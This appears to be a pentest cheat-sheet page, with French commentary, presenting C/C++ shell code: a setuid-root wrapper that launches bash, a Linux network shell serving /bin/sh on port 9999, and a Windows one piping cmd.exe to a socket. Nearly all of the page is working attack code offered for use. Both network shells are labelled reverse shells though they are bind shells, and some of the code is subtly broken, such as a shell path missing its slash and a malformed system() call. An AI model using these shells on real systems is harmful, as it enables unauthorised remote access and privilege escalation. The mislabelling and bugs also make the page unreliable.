C/C++ Shell

SID Shell

#include <unistd.h>
​
main( int argc, char ** argv, char ** envp )
{
    setgid(0); setuid(0); system("/bin/bash", argv, envp);
    return 0;
} 

Simple Revershell Linux

#include <iostream>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <cstring>

#define xPORT 9999
#define xSHELL "bin/sh"
#define xCONNECTIONS 10

int main(int argc, char *argv[])
{
    // Create a socket
    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) {
        std::cerr << "Error creating socket" << std::endl;
        return 1;
    }

    // Allow the socket to be reused
    int yes = 1;
    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) < 0) {
        std::cerr << "Error setting socket option" << std::endl;
        return 1;
    }

    // Bind the socket to a specific port
    struct sockaddr_in server_address;
    server_address.sin_family = AF_INET;
    server_address.sin_port = htons(xPORT);
    server_address.sin_addr.s_addr = INADDR_ANY;
    if (bind(sockfd, (struct sockaddr *) &server_address, sizeof(server_address)) < 0) {
        std::cerr << "Error binding socket" << std::endl;
        return 1;
    }

    // Listen for incoming connections
    if (listen(sockfd, xCONNECTIONS) < 0) {
        std::cerr << "Error listening for connections" << std::endl;
        return 1;
    }

    while (true)
    {
        // Accept an incoming connection
        struct sockaddr_in client_address;
        socklen_t client_len = sizeof(client_address);
        int client_sock = accept(sockfd, (struct sockaddr *) &client_address, &client_len);
        if (client_sock < 0) {
            std::cerr << "Error accepting connection" << std::endl;
            continue;
        }

        // Fork a child process to handle the connection
        if (fork() == 0)
        {
            // Duplicate file descriptors for stdin, stdout, and stderr
            if (dup2(client_sock, 0) < 0 || dup2(client_sock, 1) < 0 || dup2(client_sock, 2) < 0) {
                std::cerr << "Error redirecting file descriptors" << std::endl;
                close(client_sock);
                exit(1);
            }

            // Execute a shell
            if (execve("/bin/sh", NULL, NULL) < 0) {
                std::cerr << "Error executing shell" << std::endl;
                close(client_sock);
                exit(1);
            }
            close(client_sock);
            exit(0);
        }
        close(client_sock);
    }

    return 0;
}

Ce code utilise la fonction listen() pour écouter les connexions entrantes sur le port spécifié, et la fonction accept() pour accepter les connexions entrantes. La fonction setsockopt() est utilisée pour définir l’option SO_REUSEADDR sur le socket, ce qui permet au serveur de se lier à la même adresse et au même port même si la connexion précédente n’a pas encore été fermée.

Pour chaque connexion entrante, le programme crée un processus enfant pour gérer la connexion. Le processus enfant duplique ses descripteurs de fichiers pour stdin, stdout et stderr sur la socket, ce qui vous permet d’envoyer des commandes au serveur distant et de recevoir la sortie comme si vous interagissiez avec un shell local. Enfin, il exécute un shell, vous fournissant un invite de commande totalement interactive.

Simple Revershell Windows

#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>

#pragma comment(lib, "Ws2_32.lib")

#define IP "192.4.2.1"
#define PORT "4444"
#define SHELL "cmd.exe"

SOCKET s, new_socket;
SOCKADDR_IN addr;
PROCESS_INFORMATION pi;
STARTUPINFO si;

void start_shell()
{
    memset(&si, 0, sizeof(si));
    si.cb = sizeof(si);
    si.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE) new_socket;
    CreateProcess(NULL, SHELL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
}

DWORD WINAPI shell_handler(LPVOID lpParam)
{
    start_shell();
    return 0;
}

int main()
{
    // Initialize Winsock
    WSADATA wsa;
    WSAStartup(MAKEWORD(2, 2), &wsa);

    // Create socket
    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    // Bind socket to IP and port
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(IP);
    addr.sin_port = htons(atoi(PORT));
    bind(s, (SOCKADDR *) &addr, sizeof(addr));

    // Listen for incoming connections
    listen(s, 0);

    while (true)
    {
        // Accept incoming connections
        int addrlen = sizeof(addr);
        new_socket = accept(s, (SOCKADDR *) &addr, &addrlen);

        // Spawn a new thread for the incoming connection
        CreateThread(NULL, 0, &shell_handler, NULL, 0, NULL);
    }

    // Cleanup
    closesocket(s);
    WSACleanup();
    return 0;
}

Ce code utilise l’API Windows Sockets (WSA) pour créer un socket TCP et le lier à l’IP et au port spécifiés. Il écoute ensuite les connexions entrantes et crée un nouveau thread pour chacune d’elles, en utilisant la fonction CreateThread. La fonction shell_handler est appelée dans chaque nouveau thread et lance le shell.